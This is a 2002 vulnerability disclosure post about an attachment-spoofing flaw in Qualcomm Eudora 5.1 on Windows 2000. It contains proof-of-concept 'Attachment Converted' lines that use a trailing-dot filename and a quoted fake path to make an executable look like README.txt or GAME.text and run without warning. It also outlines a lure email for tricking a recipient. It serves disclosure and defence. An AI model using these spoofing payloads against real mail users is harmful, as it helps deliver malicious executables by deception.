I found an "attachment spoof" vulnerability in Qualcomm Eudora 5.1; I only verified this problem under Win2k Pro. This builds on a "feature" of Eudora noted in http://online.securityfocus.com/archive/1/177369 . Qualcomm was notified on 1 Aug 2002 but they did not respond. --- (The lines with # been left for the benefit of Eudora users.) A message may refer to attachments of other messages, or to any other file. Works well: proper icon, warns "the file may contain programs" when run: # Attachment Converted: "c:\winnt\system32\calc.exe" Attachment Converted: "c:\winnt\system32\calc.exe" Seems "dot bug" (filename ending with dot) is a general Windows feature. Executes without warning (icon OK): # Attachment Converted: "c:\winnt\system32\calc.exe." Attachment Converted: "c:\winnt\system32\calc.exe." Shows README.txt as attachment name, broken icon, executes without warning; but if you already have a README.txt then shows its icon and "runs" that: # Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt" Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt" In all cases, the true address is shown in bottom line of window. As a matter of curiosity, Eudora goes "funny" with an unquoted '>': # Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt" Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt" # Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt" Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt" My attachment directory is H:\Windows\.eudora\attach; is the default setting "C:\Program Files\Qualcomm\Eudora\attach"? Can we find out the recipient's settings (http://online.securityfocus.com/bid/1653 does not work with Eudora 5.1)? Suppose I send an attachment "GAME.exe", and hope the recipient does not already have an attachment named "GAME.text", then may be able to entice him to click and have the exe run: say something like what an interesting game, and be sure to read the description even if you do not want to play: # Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text" Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text" Also send the real attachment (should be encoded exe to take over the world), e.g. begin 700 GAME.exe ,1F]R(&9U;B!O;FQY ` end --- A curiosity: Eudora is happy to act on a message containing something like <x-eudora-option:xyz=1> (you do not even need the leading '>', am not sure about the trailing '>'). This requires user interaction, so it may not be a security problem. --- Eudora also has an "issue" with decodings and line termination. The following message loses a trailing 'r': perl -e 'print "Hello\nstranger\n"' | base64-encode Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: base64 SGVsbG8Kc3RyYW5nZXIK --- Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia
